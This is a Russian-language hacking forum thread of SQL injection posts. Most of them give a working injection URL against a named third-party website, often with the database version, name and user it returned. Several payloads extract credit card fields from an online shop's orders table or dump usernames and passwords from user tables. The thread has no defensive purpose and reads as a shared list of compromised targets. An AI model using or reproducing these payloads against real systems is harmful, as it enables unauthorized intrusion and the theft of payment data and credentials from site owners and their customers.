SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.chavarock.com/cine.php?id=-10+/*!union*/+/*!select*/+1,concat%28version%28%29,0x3a,user%28%29,0x3a,database%28%29%29,3,4,5,6,7

    5.0.91-community:chavaroc_mescali@localhost:chavaroc_mscblog
     
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.mes-surfboards.com/en/accessoires.php?id=10+or+1+group+by+concat(version(),floor(rand(0)*2))having+min(0)+or+1--
     
    _________________________
    2 people like this.
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.serrelib.gr/cine.php?id=-7%27+UNION+SELECT+1,2,3,4,5,6,AES_DECRYPT%28AES_ENCRYPT%28CONCAT_WS%280x3a,Version%28%29,Database%28%29,User%28%29%29,0x71%29,0x71%29,8--%20+

    Database Version: 5.0.18-nt
    Database name: serrelibdb
    User name: serrelib@localhost
     
    1 person likes this.
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.psp-umd.com/Jeux-Video-Live_503+and+1=0+union+select+1,2,3,4,5,unhex(hex(@@version)),7,8,9,10,11--.html
     
    _________________________
    1 person likes this.
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.899laclasica.com/cine.php?id=-8679+/*!UNION*/+/*!SELECT*/+1,concat%28version%28%29,0x3a,user%28%29,0x3a,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--%20+&enviar1=1&xparam=HARRY%20POTTER%20Y%20LAS%20RELIQUIAS%20DE%20LA%20MUERTE

    5.1.50:cf_usr899laclasi@localhost:comprandofacil_899laclasica
     
    1 person likes this.
  6. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.galex-international.de/accessoires.php?id=186+and+1=0+union+select+concat_ws(0x3a,cc_type,cc_owner,cc_number,cc_expires)+from+osc_orders+where+cc_expires=0910--
     
    _________________________
  7. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    PR 3

    http://www.arsenicoproducciones.com/cine.php?id=26+and+1=0+union+select+1,2,3,4,5,6,7,8,concat_ws(0x2f,user(),version(),database()),10,11,12,13,14--

    sopor_arsenico@localhost/5.0.68/soporte_web
     
  8. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://en.throttleman.com/clipping.php?id=173%27+UNION+SELECT+1,2,3,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,5,6,7,8,9,10,11,12,13+limit+1,1--+

    5.0.77:mv_mundofunny:mvmfcm@localhost
     
  9. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    PR 5

    http://www.cartelera.com.uy/cine.php?id=45+and+1=0+union+select+1,concat_ws(0x2f,user(),version(),database()),3--

    cartelera@localhost/5.0.48/cartelera
     
    1 person likes this.
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://chudovomebel.ru/tovar.php?id=-12+union+select+1,2,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,4,5

    5.0.51a-24+lenny2:a12807_chudovo:root@localhost
     
    2 people like this.
  11. MastaBass1

    MastaBass1 Member

    Joined:
    25 Dec 2009
    Messages:
    61
    Likes Received:
    13
    Reputations:
    2
    http://www.ruit.ru/?Page=news&nID=25+and+1=0+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5

    ruitru83_xmb1:4.1.25-log:ruitru83_xmb1@localhost
     
  12. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.rentacrate.com/press.php?id=-6+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5

    4.1.22-standard:rentacrate:[email protected]
     
  13. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    blind
    Code:
    http://stomat-clinic.ru/php/content.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    Тиц 350

    Code:
    http://stomat-clinic.ru/php/content.php?id=1+and%20substring%28version%28%29,1,1%29=5
    5 версія


    Code:
    http://www.windsurf-seliger.ru/newsone.php?id=105-999.9+union+select+1,2,concat%280x3a,version%28%29,0x3a,database%28%29,0x3a,user%28%29%29,4,5,6--
    5.0.51-log:2007941_1:b2007941_1@localhost тиц 40
     
    #13413 bloodAngel, 3 Dec 2010
    Last edited: 3 Dec 2010
  14. Linkus

    Linkus Member

    Joined:
    20 Dec 2008
    Messages:
    168
    Likes Received:
    15
    Reputations:
    -1
    Code:
    http://www.diplomna.com/moreinfo.php?diplomID=7333666%27+UNION+SELECT+1,2,3,4,5,group_concat%28table_name%29,7,8,9,10,11,concat_ws%280x3a3a,version%28%29,database%28%29,user%28%29,@@version_compile_os%29+from+information_schema.tables+--+
    тИЦ: 30

    Code:
    http://elib.tolgas.ru/catalog/view.php?id=-7333666%27+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,unhex%28hex%28group_concat%28concat_ws%280x3a3a,id,user,pass%20%29%29%29%29,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+userlist+--+
    ТИЦ: 325
    PR: 4
     
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://eastwestopticians.com/?page=show_ma_products.php&m_id=-5+/*!union*/+select+1,concat%28version%28%29,0x3a,database%28%29%29,3+--+

    5.0.91-community:eastwest_db1
     
    2 people like this.
  16. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    _http://www.nmr.mgh.harvard.edu/martinos/people/showPerson.php?people_id=83+or+1+group+by+concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))having+min(0)+or+1--
     
    _________________________
    2 people like this.
  17. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    http://library.umd.umich.edu/research/cat.php?cat=Reference+and+1=0+union+select+concat_ws(0x3a,user_name,user_password),2,3,4,5,6+from+DEV_mediawiki.ts_user+--+
     
    1 person likes this.
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.procurement.ltd.uk/press.php?id=-14+UNION+SELECT+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5--%20+

    Database Version: 4.0.30-log
    Database name: u10123203
    User name: [email protected]
     
    1 person likes this.
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    спалю еще один гарвард

    _http://librarylab.law.harvard.edu/shelflife/author/OHagan'+or+(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+
     
    _________________________
    1 person likes this.
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.sharonmccormickdesign.com/press.php?id=30%27+UNION+SELECT+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4--%20+

    4.1.20:sharonmccormickdesign_com_-_sitecontent:sharonmccormick@localhost
     
Thread Status:
Not open for further replies.